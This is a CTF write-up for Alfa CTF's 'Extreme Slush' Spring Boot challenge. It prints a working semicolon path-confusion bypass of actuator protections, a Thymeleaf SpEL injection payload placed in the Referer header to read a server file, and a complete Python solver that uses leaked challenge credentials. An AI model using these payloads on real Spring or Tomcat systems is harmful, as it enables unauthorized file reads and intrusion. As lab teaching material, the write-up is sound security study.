Экстремальная слякоть (Extreme Slush)
alfactf
Task: Spring Boot app with Thymeleaf templates, protected actuator endpoints, and token-gated budget panel. Solution: Bypass actuator security via semicolon path confusion, then exploit SpEL injection in Thymeleaf preprocessing via Referer header to read token file using Java NIO.
$ ls tags/ techniques/
Экстремальная слякоть (Extreme Slush) — Alfa CTF
Description
A city slush level monitoring application with admin panel and budget management system.
Multi-tier web service: nginx → Spring Boot (Tomcat 9.0.117) + Flask sidecar. Features complaint submission, admin panel, and budget management protected by a secret token stored in /usr/local/tomcat/budget_token.txt.
Analysis
Architecture
- Outer nginx/1.24.0 (Ubuntu) → Inner nginx/1.27.5
- Spring Boot WAR on Tomcat 9.0.117 (/, /admin*, /complaint, /actuator*)
- Flask sidecar at /api/budget/* (proxy_pass)
- H2 in-memory database (jdbc:h2:mem:slushdb)
- Thymeleaf 3.0.12.RELEASE template engine
Vulnerability Chain
- Actuator path confusion: nginx security rules don't match
/actuator;foo/env, but Tomcat strips;fooand serves/actuator/env - SpEL injection: Thymeleaf preprocessing evaluates
__${...}__syntax before main rendering - Header injection: Referer header value is used in template preprocessing for the
backparameter
Solution
Step 1: Actuator Path Confusion Bypass
# Blocked curl https://slushline-zcdvzvbj.alfactf.ru/actuator/env # 403 # Bypass via semicolon path parameter curl https://slushline-zcdvzvbj.alfactf.ru/actuator;foo/env # 200
Leaked: ADMIN_PASS=S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t
Step 2: SpEL Injection via Referer Header
The /admin?back=X parameter triggers Thymeleaf preprocessing that evaluates the Referer header.
Payload format: '}+${SpEL_expression}+@{'
File read payload:
'}+${'a'.getClass().forName('java.nio.file.Files').readString('a'.getClass().forName('java.nio.file.Paths').get('/usr/local/tomcat/budget_token.txt'))}+@{'
Step 3: Token Extraction and Flag
GET /admin?back=/admin HTTP/1.1 Host: slushline-zcdvzvbj.alfactf.ru Cookie: JSESSIONID=... Referer: '}+${'a'.getClass().forName('java.nio.file.Files').readString('a'.getClass().forName('java.nio.file.Paths').get('/usr/local/tomcat/budget_token.txt'))}+@{'
Token: QWNgzulpHdPJpZpZsktozyF8FyM0umcn
POST to /admin/budget with token → flag displayed.
#!/usr/bin/env python3 """Alfa CTF - Extreme Slush solver""" import requests import re BASE = "https://slushline-zcdvzvbj.alfactf.ru" s = requests.Session() # Step 1: Leak admin password via actuator path confusion resp = s.get(f"{BASE}/actuator;foo/env") # ADMIN_PASS=S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t # Step 2: Login as admin resp = s.get(f"{BASE}/login") csrf = re.search(r'name="_csrf"[^>]*value="([^"]+)"', resp.text).group(1) s.post(f"{BASE}/login", data={ "username": "admin", "password": "S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t", "_csrf": csrf }) # Step 3: SpEL injection to read token file spel = ( "'}+${'a'.getClass().forName('java.nio.file.Files')" ".readString('a'.getClass().forName('java.nio.file.Paths')" ".get('/usr/local/tomcat/budget_token.txt'))}+@{'" ) resp = s.get(f"{BASE}/admin?back=/admin", headers={"Referer": spel}) # Token: QWNgzulpHdPJpZpZsktozyF8FyM0umcn # Step 4: Unlock budget panel resp = s.get(f"{BASE}/admin/budget") csrf = re.search(r'name="_csrf"[^>]*value="([^"]+)"', resp.text).group(1) resp = s.post(f"{BASE}/admin/budget", data={ "token": "QWNgzulpHdPJpZpZsktozyF8FyM0umcn", "_csrf": csrf }) print("Flag: alfa{7He_GRY4zISHchA_SH4ll_N0T_PASS}")
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][free]Никто, конечно, не чиллил— alfactf
- [web][Pro]board_of_secrets— miptctf
- [pwn][Pro]Хаос на АЗС (Chaos at the Gas Station)— hackerlab
- [web][free]Six-Seven— alfactf
- [infra][Pro]SecretShell— alfactf